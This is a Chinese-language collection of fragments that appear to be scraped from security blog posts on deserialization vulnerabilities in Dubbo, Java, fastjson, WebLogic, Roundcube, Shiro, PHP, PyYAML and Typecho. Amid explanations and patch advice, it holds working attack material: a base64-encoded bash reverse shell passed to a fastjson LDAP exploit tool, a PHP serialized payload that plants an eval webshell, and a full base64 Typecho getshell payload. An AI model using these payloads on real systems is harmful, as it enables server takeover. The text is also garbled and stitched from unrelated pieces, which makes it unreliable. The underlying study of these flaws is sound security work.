这几天网上又报出来Dubbo的一个反序列化漏洞,一时间Dubbo又被推上了风口浪尖,对dubbo本身也褒贬不一. 漏洞报告地址如下,有兴趣的可以自己研究下: https://www.mail-archive.com/dev@dubbo.apache.org/msg06544.html 其实在2月份就有相似的漏洞报出来了 ,漏洞地址如下: https://www.mail-archive.com/dev@dubbo.apache.org/msg06225.html 我们抛开Dubbo不提,看看反序列化漏洞到底是什么样的? 序列化: 序列化是将Java对象转换成二进制字节,这些字节可以保存到磁盘上, 也可以通过网络传输,发送到其他服务上. 调用方法: ObjectOutputStream.writeObject(Object) 反序列化: 与序列化相反,是将二进制字节转换成Java对象 调用方法: ObjectInputStream.readObject
目录 反序列化漏洞 序列化和反序列化 JAVA WEB中的序列化和反序列化 对象序列化和反序列范例 JAVA中执行系统命令 重写readObject()方法 Apache Commons Collections 反序列化漏洞payload JAVA Web反序列化漏洞的挖掘和利用 由于本人并非JAVA程序员,所以对JAVA方面的知识不是很懂 本文参照几位大佬的博客进行归纳总结,给大家阐述了JAVA反序列化漏洞的原理以及Payload的构造,文章末尾会放出参考链接。 Part 1 反序列化漏洞 JAVA反序列化漏洞到底是如何产生的? 反序列化漏洞从无到有 Lib之过? Java反序列化漏洞通用利用分析 Java反序列化漏洞分析 Commons Collections Java反序列化漏洞深入分析
我们搞懂了什么是fastjson那我们理解一下序列化,反序列化又是什么意思呢 。 反序列化:将字节转化成对象的过程 作用:将序列组成的字节,转换为对象。 对象序列化就是将对象的数据复制一个一模一样的对象(个人理解) 4. Fastjson漏洞产生原因 反序列化之后的数据本来是没有危害的,但是用户使用可控数据是有危害的 漏洞信息: fastjson 1.2.24 反序列化导致任意命令执行漏洞:fastjson在解析json Fastjson 1.2.47 远程命令执行漏洞:fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令 执行命令启动ldap服务器 java -cp fastjson_tool.jar fastjson.HLDAPServer 10.1.1.148 1234 "bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEuMS4xNDgvMjMzMyAwPiYx
:高,攻击者利用此漏洞可执行任意代码。 版本:2.0 1 漏洞概述 4月17日,国家信息安全漏洞共享平台(CNVD)公开了Weblogic反序列化远程代码执行漏洞(CNVD-C-2019-48814),此漏洞存在于weblogic自带的wls9 _async_response.war组件及wls-wsat组件中,由于在反序列化处理输入信息的过程中存在缺陷,未经授权的攻击者可以发送精心构造的恶意 HTTP 请求,获取服务器权限,实现远程代码执行。 4漏洞防护 4.1 产品防护 针对此漏洞,绿盟科技防护产品已发布临时规则升级包,强烈建议相关用户升级规则,形成安全产品防护能力。 4.2.3 禁用bea_wls9_async_response及wls-wsat 用户可通过在weblogic启动参数中禁用bea_wls9_async_response及wls-wsat的方式,对此漏洞形成临时防护
版本:2.2 1 漏洞概述 4月17日,国家信息安全漏洞共享平台(CNVD)公开了Weblogic反序列化远程代码执行漏洞(CNVD-C-2019-48814),此漏洞存在于weblogic自带的wls9 _async_response.war组件及wls-wsat组件中,由于在反序列化处理输入信息的过程中存在缺陷,未经授权的攻击者可以发送精心构造的恶意 HTTP 请求,获取服务器权限,实现远程代码执行。 bea_wls9_async_response组件及wls-wsat组件的所有Weblogic版本。 3.3 不安全组件启用状态排查 wls9_async_response wls9_async_response为异步通讯服务组件,用户可通过访问路径/_async/AsyncResponseService 4.2.3 禁用bea_wls9_async_response及wls-wsat 用户可通过在weblogic启动参数中禁用bea_wls9_async_response的方式,对此漏洞形成临时防护。
漏洞情况近期,火山信安实验室监测到在Roundcube Webmail 中 upload.php 文件的一个反序列化代码执行漏洞。该漏洞序号为CVE-2025-49113属于高危漏洞。 CVE-2025-49113 是 Roundcube Webmail 中 upload.php 文件的一个反序列化代码执行漏洞。 该漏洞源于对用户输入的 _from 参数未进行严格校验,导致攻击者可以通过构造恶意序列化数据触发反序列化操作,进而执行任意代码,从而可能完全控制受影响的 Roundcube 实例。 0x01漏洞利用方式攻击者通过构造恶意输入修改HTTP请求中的 _from 参数,插入恶意序列化数据。 当 Roundcube 处理该请求时,upload.php 会对 _from 参数进行反序列化操作,导致恶意代码被执行。攻击者可以利用反序列化漏洞执行系统命令、读取敏感文件或进行其他恶意操作。
Apache Shiro 反序列化漏洞 shiro漏洞已经曝光很久了,一直没有整理思路与详细步骤,最近在学习java的反序列化,复现该漏洞来方便之后的学习 一、简介 Apache Shiro是一款开源企业常见 ,最终造成反序列化漏洞。 8.AES是对称加密,加解密密钥都是相同的,并且shiro都是将密钥硬编码 9.调用crypt方法利用密文,key,iv进行解密,解密完成后进入反序列化,看上面的public AbstractRememberMeManager 但是一些开源的项目内部集成了shiro的二次开发,可能会有低版本shiro的默认秘钥的风险,一些用户搭建环境时会使用网上的教程来快速搭建,直接复制了网上的秘钥,从而造成了秘钥的泄密,引发了反序列化漏洞。 cookie可控,从而引发反序列化漏洞。
漏洞说明 近日,国家信息安全漏洞共享平台(CNVD)收录了Oracle WebLogic wls9-async反序列化远程命令执行漏洞(CNVD-C-2019-48814)。 部分版本WebLogic中默认包含的wls9_async_response包,为WebLogic Server提供异步通讯服务。 由于该WAR包在反序列化处理输入信息时存在缺陷,攻击者可以发送精心构造的恶意 HTTP 请求,获得目标服务器的权限,在未授权的情况下远程执行命令。 漏洞验证 对原理不是很懂 脚本小子只会基于已有的payload写工具 weblogic启动之后,访问 url+_async/AsyncResponseService 如果能正常访问 ,一般说明有漏洞 利用网络上的 包并重启webLogic 后记 仅仅为了测试一个这个漏洞,不要有任何恶意行为,后果自负。
序列化和反序列化的概念 序列化就是将一个对象转换成字符串。字符串包括 属性名 属性值 属性类型和该对象对应的类名。 反序列化则相反将字符串重新恢复成对象 对象的序列化利于对象的保存和传输,也可以让多个文件共享对象。 可以再__sleep()方法里可以决定哪些属性被序列化 如果没有__sleep()方法则默认序列化所有属性 上图__sleep()方法使flag age 属性序列化 name并没有被序列化 访问控制修饰符 ";s:6:"*age";s:2:"19";s:9:"Ctfflag";s:8:"get flag";} 可以看到 s:6:"*age" //*前后出现了两个%00也就是空白符 一个%00长度为一 所以序列化后 该属性长度为6 s:9:"Ctfflag" //ctf前后也就是类名前后出现两个%00 所以长度为9 PHP的反序列化 反序列化函数unserialize() 反序列化就是将一个序列化的字符串,还原回去
在说php反序列化漏洞之前,先讲讲什么是类,什么是对象,什么是函数 什么是类 类的概念:类是具有相同属性和操作的一组对象的集合。 (反)序列化函数 定义 序列化(serialization)在计算机科学的数据处理中,是指将数据结构或对象状态转换成可取用格式(例如存成文件,存于缓冲,或经由网络中发送),以留待后续在相同或另一台计算机环境中 说了这么多,什么是反序列化漏洞呢? 当一个被序列化的对象,反序列化回去的时候,触发了魔术方法。而调用魔术函数时,传进去的值是用户可控的。 再说简单一点,就是服务器接收了攻击者上传的反序列化过的字符串,未经严格过滤,就把其中的变量作用到魔法函数里面,从而产生了预料之外的结果,造成的漏洞 演示 这里以wakeup()函数为例: mydx.php un=O:1:"A":2:{s:4:"name";s:6:"assert";s:4:"male";s:9:"eval($_POST[cy])";} ? 蚁剑连接mydx.php文件 ?
漏洞成因 通过跟踪$PYTHON_HOME/lib/site-packages/yaml/constructor.py文件,查看PyYAML源码可以得到其针对Python语言特有的标签解析的处理函数对应列表 该函数会根据参数来动态创建新的Python类对象或通过引用module的类创建对象,从而可以执行任意命令~ 通用POC 经过上面的了解与验证,我们知道只要存在yaml.load()且参数可控,则可以利用yaml反序列化漏洞 漏洞修复 在PyYAML>=5.1版本中有两个补丁限制了反序列化内置类方法以及导入并使用不存在的反序列化代码: Path 1: ? Path 2: ? 简易测试 若要在ruamel.yaml中反序列化带参数的序列化类方法,我们有以下方法: load(data) load(data, Loader=Loader) load(data, Loader= 要序列化数据,可以使用下面的安全函数: ?
echo 'serialize
'; return ['hack']; } function __unserialize($data) { // 反序列化时调用 ,session_start 函数会读取 Session 内容并反序列化<? phar:// 处理时会反序列化生成Payload<? __destruct绕过,前面抛出异常__destruct调用,结构错误,例:O:1:"c":1:{xxx}5.CTFprivate序列化有不可见字符,复制会出错,可以urlencode。 }要求俩值相等,$this->a = &$this->b,这样b改了a也会一起改看似反序列化的题结果静态函数不需要对象字符串逃逸,CTFshow-WEB入门-反序列化(https://www.cnblogs.com
serialize:序列化
unserialize: 反序列化
简单解释:
serialize 把一个对象转成字符串形式, 可以用于保存
unserialize 把serialize序列化后的字符串变成一个对象
';
echo serialize($a);
上面例子是创建一个类, 并输出 filename的值 , 最后输出序列化字符串:
? 可以看到序列化后的变量名字变成 filenameF 了。
看下面代码:
<?
';
echo serialize($a);
$b = unserialize('O:1:"F":1:{s:9:"filenameF";s:8:"bcda.txt";}');
echo '< 下面这个代码中的类跟上面代码的类一样, 不同的地方是我们修改了filename的值, 并生成序列化字符串:
<?
Java反序列化漏洞通用利用分析 转自:https://blog.chaitin.cn/2015-11-11_java_unserialize_rce/ 背景 2015年11月6日,FoxGlove Java反序列化漏洞简介 序列化就是把对象转换成字节流,便于保存在内存、文件、数据库中;反序列化即逆过程,由字节流还原成对象。 WebLogic、WebSphere、JBoss、Jenkins、OpenNMS这些应用的反序列化漏洞能够得以利用,就是依靠了Apache Commons Collections。 漏洞利用实例 利用过程概述 首先拿到一个Java应用,需要找到一个接受外部输入的序列化对象的接收点,即反序列化漏洞的触发点。 Jenkins Jenkins是一个非常流行的CI工具,在很多企业的内网中都部署了这个系统,这个系统常常和企业的代码相关联,这次也受到了Java反序列化漏洞的影响,非常危险。
主要函数 # 将对象序列化后返回 serialize() # 将字符串反序列化后返回 unserialize() 魔术方法 方法名 触发条件 __construct 创建对象 __destruct 销毁对象 __sleep 序列化对象 __wakeup 反序列化得到对象 __invoke 以函数的形式调用对象 __toString 以字符串的形式调用对象(改方法返回值为字符串) __call 在对象上下文中调用不可访问的方法 从不可访问的属性中读取数据 __set 将数据写入不可访问的数据 __isset 在不可访问的属性上调用isset()或empty()方法 __unset 在不可访问的属性上使用unset()方法 技巧 当序列化字符串中的属性个数大于原本属性个数时
0x001 漏洞产生原理 在反序列化的过程中自动触发了某些魔术方法。 以序列化对象格式为例 O:4:"info":2:{s:4:"name";i:2:"19";} 0x005 反序列化漏洞 1. XSS 漏洞示例demo2.php: <? 代码执行 漏洞示例test.php: <? 文件写入 漏洞示例demo3.php: <? 漏洞拓展 上面讲的都是基于魔术方法下的敏感操作导致的反序列化导致的安全问题。但是当漏洞/危险代码存在在类的普通成员方法中,该如何利用呢? 漏洞示例demo4.php: <?
序列化(serialize)和反序列化(unserialize) 序列化就是将对象转化为字节序列/字符串,便于之后的传递与使用,序列化会保存对象所有的变量。 __isset()对不可访问或者不存在属性调用isset()或者empty()是被调用 __unset()对不可访问或不存在的属性进行unset()时被调用 反序列化漏洞 条件 unserialize ()函数的参数可控 php中有可以利用的类并且类中有魔术方法 漏洞成因 当传给unserialize()的参数可控时,就可以注入精心构造的payload,在进行反序列化是就可能触发对象中的一些魔术方法, Web_php_unserialize 题目来源攻防世界 前置知识:在 PHP5 < 5.6.25, PHP7 < 7.0.10 的版本存在__wakeup()的漏洞。 正则表达式完整教程 利用__wakeup()漏洞绕过 然后绕过__wakeup(),修改类的属性个数大于真是属性个数即可。
本文作者:cream(贝塔安全实验室-核心成员) PHP序列化漏洞原理 1、序列化(串行化) 2、反序列化(反串行化) 3、序列化实例分析 4、反序列化实例分析 5、祸起萧墙---Magic函数 5.1 PHP反序列化漏洞CTF练习题 7、防御PHP序列化漏洞 1、序列化(串行化) 将变量转换为可保存或传输的字符串的过程; 2、反序列化(反串行化) 在适当的时候把这个字符串再转化成原来的变量使用。 常见的php系列化和反系列化方式主要有:serialize,unserialize;json_encode,json_decode。 6.2.2 漏洞介绍和复现 Typecho博客软件存在反序列化导致任意代码执行漏洞,恶意访问者可以利用该漏洞无限制执行代码,获取webshell,存在高安全风险。 出现一个比较明显的反序列化漏洞,首先获取到cookie中的__typecho_config值base64解码后,然后进行反序列化。
Yaml是什么 YAML是一种可读性高,用来表达数据序列化的格式。YAML是”YAML Ain’t a Markup Language”(YAML不是一种标记语言)的递归缩写。 ,就可以顺利导入该文件作为模块,执行当中的命令 首先写一个文件名为test.py的文件,内容如下 import os os.system('calc') 在触发漏洞的文件里 import yaml yaml.load python/object/new:test.aaaa {}' ) 如果写入的文件和触发漏洞的文件不在同一目录下 则需要加上目录,比如同级的uploads目录 yaml.load("!! 修复方法 1、按照官方推荐使用safe_load对于序列化内容进行加载。 2、检测加载文件头防止加载代码执行函数。 参考链接: PyYAML反序列化防御和ByPass | 柠檬菠萝 PyYAML反序列化漏洞 | DAMOXILAI 浅谈PyYAML反序列化漏洞 | Al1ex
简介 今儿复现一个陈年老漏洞,就说typecho的反序列化漏洞,可导致前台getshell,漏洞点在于文件夹下的install.php typecho是一个个人认为最清爽的一个cms,前端到后台一目了然 ,少了些繁杂的操作,安装过程也是一条龙,从安装到使用用不上5分钟,所以有需要建站的大佬们,可以尝试一下typecho 漏洞危害 可以直接getshell 漏洞复现 <? > 运行改代码会生成相应的base64的payload,以上代码会生成 YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YToyOntzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30 post data: __typechi_config= payload 如图所示↓ 输入完成后,直接发送请求,回到浏览器网页,如果发现变成了这样子↓ 则意味着复现成功,并且该网站存在这一个漏洞 修复建议 安装完typecho后,将install.php删除 升级版本 后言 我太菜了,不会代码审计,所以不做分析,如有需要,可以借鉴这篇文章《Typecho前台Getshell漏洞分析》 所有的漏洞复现文章在这里仅做学习测试使用